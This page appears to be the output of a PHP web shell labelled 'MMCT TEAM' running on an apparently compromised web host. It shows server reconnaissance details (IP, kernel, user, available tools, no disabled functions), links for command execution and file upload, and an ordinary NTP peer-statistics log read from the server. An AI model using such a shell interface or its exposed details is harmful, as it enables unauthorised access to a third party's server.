MMCT TEAM
Server IP : 111.118.215.156  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux md-in-26.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : azasoqqa ( 1858)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/log/ntpstats/peerstats.20240401
60401 724.717 69.195.126.139 941a 0.001300765 0.246609451 0.015321741 0.000443136
60401 1712.766 69.195.126.140 961a -0.000262466 0.255373864 0.015165411 0.001559566
60401 2843.706 69.195.126.139 941a 0.001239539 0.246256406 0.015264769 0.001130033
60401 3879.665 69.195.126.140 941a -0.001929599 0.252401439 0.015569458 0.001226137
60401 4928.752 69.195.126.140 941a -0.002002193 0.252397813 0.015374682 0.001279323
60401 4955.671 69.195.126.139 941a 0.001185663 0.246219417 0.015265257 0.001105754
60401 5996.686 69.195.126.140 941a -0.001827900 0.252338916 0.015419149 0.001149545
60401 7099.685 69.195.126.139 961a 0.001570544 0.246160022 0.015466458 0.001217324
60401 8090.672 69.195.126.140 941a -0.001520578 0.252316948 0.015162211 0.000838907
60401 8135.701 69.195.126.139 961a 0.001736106 0.246067198 0.015226748 0.001283548
60401 10225.709 69.195.126.139 961a 0.001686941 0.246078240 0.015070476 0.000298109
60401 10235.673 69.195.126.140 941a -0.001517762 0.252379253 0.019448403 0.000528214
60401 11285.725 69.195.126.139 961a 0.001653695 0.246036552 0.015208756 0.000227958
60401 11290.672 69.195.126.140 941a -0.001490519 0.252248837 0.015350707 0.000299020
60401 12363.692 69.195.126.139 961a 0.001544997 0.246029195 0.015411842 0.000191588
60401 13383.766 69.195.126.140 941a -0.001476879 0.252251755 0.019191785 0.001300132
60401 14414.707 69.195.126.140 941a 0.000121712 0.255364838 0.015073546 0.001626858
60401 14487.725 69.195.126.139 961a 0.001151619 0.246129903 0.015343418 0.000690545
60401 15484.759 69.195.126.140 941a -0.001499921 0.252268529 0.015285514 0.001439250
60401 16598.694 69.195.126.139 961a 0.000685893 0.245965923 0.015255693 0.000842109
60401 17552.750 69.195.126.140 941a -0.001372550 0.252269214 0.015027156 0.001376890
60401 17657.757 69.195.126.139 961a 0.000846580 0.245863963 0.015293483 0.000658187
60401 19652.764 69.195.126.140 941a -0.001216208 0.252314574 0.019103522 0.001330802
60401 19799.682 69.195.126.139 961a 0.000963442 0.245370060 0.015408907 0.000499253
60401 20734.722 69.195.126.140 941a -0.001010360 0.251669673 0.015420079 0.001244544
60401 20883.746 69.195.126.139 961a 0.001253059 0.245364422 0.015554979 0.000620130
60401 21933.718 69.195.126.139 961a 0.002450272 0.243908445 0.015374673 0.001467224
60401 22800.687 69.195.126.140 941a -0.000545661 0.251974463 0.015076576 0.001501992
60401 24003.658 69.195.126.139 961a 0.001039583 0.245420672 0.018999233 0.000609345
60401 24878.671 69.195.126.140 961a -0.000419479 0.252388703 0.018884211 0.001484538
60401 25075.756 69.195.126.139 941a 0.001666154 0.245619823 0.019329880 0.000633510
60401 25962.763 69.195.126.140 941a -0.000369743 0.252265147 0.015362781 0.001466030
60401 26155.738 69.195.126.139 961a 0.001733791 0.245668393 0.019526230 0.000584184
60401 27012.701 69.195.126.140 961a -0.000415275 0.252194876 0.015281156 0.001410285
60401 27222.704 69.195.126.139 941a 0.001533127 0.244943860 0.015462749 0.000481981
60401 29082.679 69.195.126.140 961a -0.000046631 0.252801662 0.018950207 0.002058984
60401 29316.752 69.195.126.139 961a 0.003655775 0.242518257 0.015275113 0.001965307
60401 30147.723 69.195.126.140 961a -0.004081961 0.258975835 0.015243437 0.003482712
60401 30362.714 69.195.126.139 961a 0.003277187 0.242286583 0.015206838 0.001571643
60401 31191.683 69.195.126.140 961a -0.000850815 0.254276643 0.015177262 0.001681416
60401 32508.734 69.195.126.139 941a 0.003280261 0.242344143 0.019426598 0.001178916
60401 33354.734 69.195.126.140 961a 0.000633078 0.255276069 0.019604273 0.002887574
60401 33568.735 69.195.126.139 941a 0.003108469 0.242702537 0.015386560 0.000930321
60401 34437.731 69.195.126.140 961a -0.000914706 0.256706778 0.015617857 0.001895247
60401 35695.675 69.195.126.139 941a 0.001683722 0.244292549 0.019206586 0.001568295
60401 36538.777 69.195.126.140 961a -0.004099956 0.261941186 0.019107120 0.003063956
60401 36765.753 69.195.126.139 961a 0.001804201 0.242577439 0.015399562 0.001456875
60401 37567.771 69.195.126.140 941a -0.008608344 0.266019519 0.015059385 0.006289043
60401 37809.659 69.195.126.139 961a 0.001826050 0.242073604 0.015252244 0.001259815
60401 38603.767 69.195.126.140 941a -0.002346927 0.255052878 0.015023571 0.003709357
60401 39676.690 69.195.126.140 941a -0.001671338 0.254912619 0.015281230 0.003993465
60401 39934.689 69.195.126.139 961a 0.003146428 0.241912670 0.015350743 0.001022576
60401 40758.765 69.195.126.140 941a -0.002118384 0.254601167 0.015477264 0.003623939
60401 41834.762 69.195.126.140 941a -0.003069281 0.253547050 0.015530624 0.003196453
60401 42001.701 69.195.126.139 961a 0.001304827 0.247480127 0.018930437 0.001714099
60401 42906.697 69.195.126.140 941a -0.001928497 0.253076026 0.015527741 0.003719215
60401 43059.671 69.195.126.139 941a 0.001005571 0.245422257 0.015186172 0.001956729
60401 44096.666 69.195.126.139 961a 0.000458381 0.244339888 0.015095967 0.002132799
60401 44970.770 69.195.126.140 941a -0.000956452 0.256620374 0.018956509 0.003133099
60401 46012.767 69.195.126.140 941a -0.003120863 0.256870646 0.015080422 0.001265946
60401 46203.686 69.195.126.139 961a 0.000823142 0.245061943 0.015189293 0.001754700
60401 47062.754 69.195.126.140 941a -0.003372920 0.255139579 0.015138593 0.001444980
60401 48258.732 69.195.126.139 961a 0.000967222 0.247035124 0.018789960 0.001082622
60401 49154.754 69.195.126.140 941a -0.001295023 0.258318210 0.019017175 0.001330505
60401 49323.755 69.195.126.139 961a 0.001944097 0.244263755 0.015184610 0.001089130
60401 50222.766 69.195.126.140 941a -0.002189351 0.255279007 0.015293523 0.001045107
60401 50399.681 69.195.126.139 961a 0.001921516 0.244256522 0.015386630 0.001038644
60401 51308.701 69.195.126.140 941a 0.001400232 0.255237182 0.015515759 0.003455598
60401 52529.716 69.195.126.139 961a 0.001632804 0.245072416 0.019482523 0.001046324
60401 53424.714 69.195.126.140 941a -0.001151023 0.253070008 0.015291736 0.001747708
60401 53559.744 69.195.126.139 961a 0.001262748 0.244943822 0.015176174 0.001199376
60401 55582.766 69.195.126.140 941a 0.000595966 0.255251588 0.015528232 0.001529562
60401 55693.732 69.195.126.139 961a 0.000618752 0.244931415 0.015344973 0.001692707
60401 57700.756 69.195.126.140 941a -0.001624495 0.251898849 0.015324416 0.002044147
60401 57774.707 69.195.126.139 961a -0.000004989 0.245048247 0.015177863 0.001780387
60401 58822.706 69.195.126.139 961a -0.000134519 0.245014441 0.015173350 0.001723839
60401 59846.766 69.195.126.140 941a -0.000090992 0.255193625 0.019529004 0.000885362
60401 60917.711 69.195.126.140 941a -0.000125206 0.255249809 0.019516410 0.000789888
60401 60947.686 69.195.126.139 961a -0.000257580 0.245034690 0.019388116 0.000876903
60401 61983.766 69.195.126.140 941a -0.000729278 0.255246261 0.015465064 0.000912021
60401 61987.665 69.195.126.139 961a -0.000491483 0.245035977 0.019108584 0.001354466
60401 63016.662 69.195.126.139 961a -0.003318931 0.250083423 0.018906825 0.003107805
60401 63031.681 69.195.126.140 961a -0.000786317 0.255203948 0.015314068 0.000842702
60401 64089.693 69.195.126.139 941a -0.003389514 0.250117179 0.019319816 0.002867399
60401 65105.697 69.195.126.140 961a -0.000460733 0.255168329 0.015110279 0.000505839
60401 65160.685 69.195.126.139 941a -0.003120700 0.250098458 0.015403825 0.002271551
60401 67195.684 69.195.126.140 961a 0.000520923 0.255170338 0.015120240 0.000991326
60401 67264.730 69.195.126.139 941a -0.002699902 0.250152312 0.019381691 0.001374741
60401 68288.671 69.195.126.139 941a -0.001881349 0.250106093 0.015082549 0.001115835
60401 69331.723 69.195.126.140 961a 0.001226941 0.255233034 0.015325026 0.001506572
60401 70396.663 69.195.126.139 941a -0.001434732 0.250054274 0.015207879 0.001150995
60401 71445.744 69.195.126.140 961a 0.001499908 0.255279479 0.019318156 0.001660971
60401 72497.767 69.195.126.140 961a 0.002075579 0.255260106 0.015279933 0.001953094
60401 72505.669 69.195.126.139 941a -0.000395879 0.250096097 0.015268406 0.001750023
60401 73534.722 69.195.126.139 941a -0.000095681 0.250051034 0.015078152 0.001678996
60401 74560.755 69.195.126.139 961a 0.002595538 0.245044116 0.014960693 0.003901732
60401 74625.727 69.195.126.140 941a 0.002132840 0.255275818 0.019206517 0.001547912
60401 75661.696 69.195.126.140 941a 0.002137840 0.255301367 0.019026232 0.001488690
60401 76712.759 69.195.126.139 961a 0.002466958 0.245073267 0.019481308 0.003083449
60401 76740.693 69.195.126.140 941a 0.001705218 0.255281358 0.015385566 0.001210912
60401 77761.743 69.195.126.139 961a 0.001293021 0.245134684 0.015311480 0.001810260
60401 77815.720 69.195.126.140 941a 0.000932452 0.255274284 0.015477201 0.001200310
60401 78786.694 69.195.126.139 961a 0.000838222 0.245105232 0.015069300 0.001355954
60401 79957.767 69.195.126.140 941a 0.000390481 0.255293208 0.015526239 0.001273703
60401 80876.732 69.195.126.139 961a 0.000533440 0.245097937 0.015153667 0.001192988
60401 81033.709 69.195.126.140 941a 0.000272781 0.255275761 0.015553485 0.001198483
60401 82970.753 69.195.126.139 961a 0.000434559 0.245086858 0.015102219 0.000911574
60401 83170.762 69.195.126.140 941a 0.000011009 0.255274325 0.015525476 0.000866826
60401 85094.759 69.195.126.139 961a 0.001474959 0.248473751 0.015370676 0.000777820
60401 85302.756 69.195.126.140 941a -0.000692537 0.255271192 0.015446023 0.001059063
60401 86130.707 69.195.126.139 941a -0.000746294 0.245044616 0.015181691 0.001762149

MMCT - 2023